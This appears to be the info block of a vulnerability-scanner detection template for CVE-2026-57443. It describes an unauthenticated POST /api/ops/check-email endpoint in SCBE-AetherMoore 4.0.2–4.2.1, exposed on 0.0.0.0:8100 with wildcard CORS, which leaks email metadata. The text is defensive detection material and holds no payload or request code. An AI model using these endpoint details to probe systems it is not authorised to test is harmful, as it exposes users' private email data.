id: CVE-2026-57443

info:
  name: "SCBE-AetherMoore - Unauthenticated Operator Endpoint (check-email)"
  author: vedas-arpsyndicate
  severity: high
  description: |
    SCBE-AetherMoore (versions 4.0.2 up to 4.2.1) exposes the AetherBrowser API server operator
    endpoint POST /api/ops/check-email without any authentication. The server binds to
    0.0.0.0:8100 with CORS allow_origins=["*"], so any remote attacker (or malicious web page) can
    invoke the endpoint, triggering the email_reader subprocess and returning email metadata in the
    JSON response. Fixed builds gate operator endpoints behind an X-Admin-Token check. This template
    confirms the exposure by invoking the endpoint unauthenticated and matching the subprocess
    result envelope without the admin-token gate.
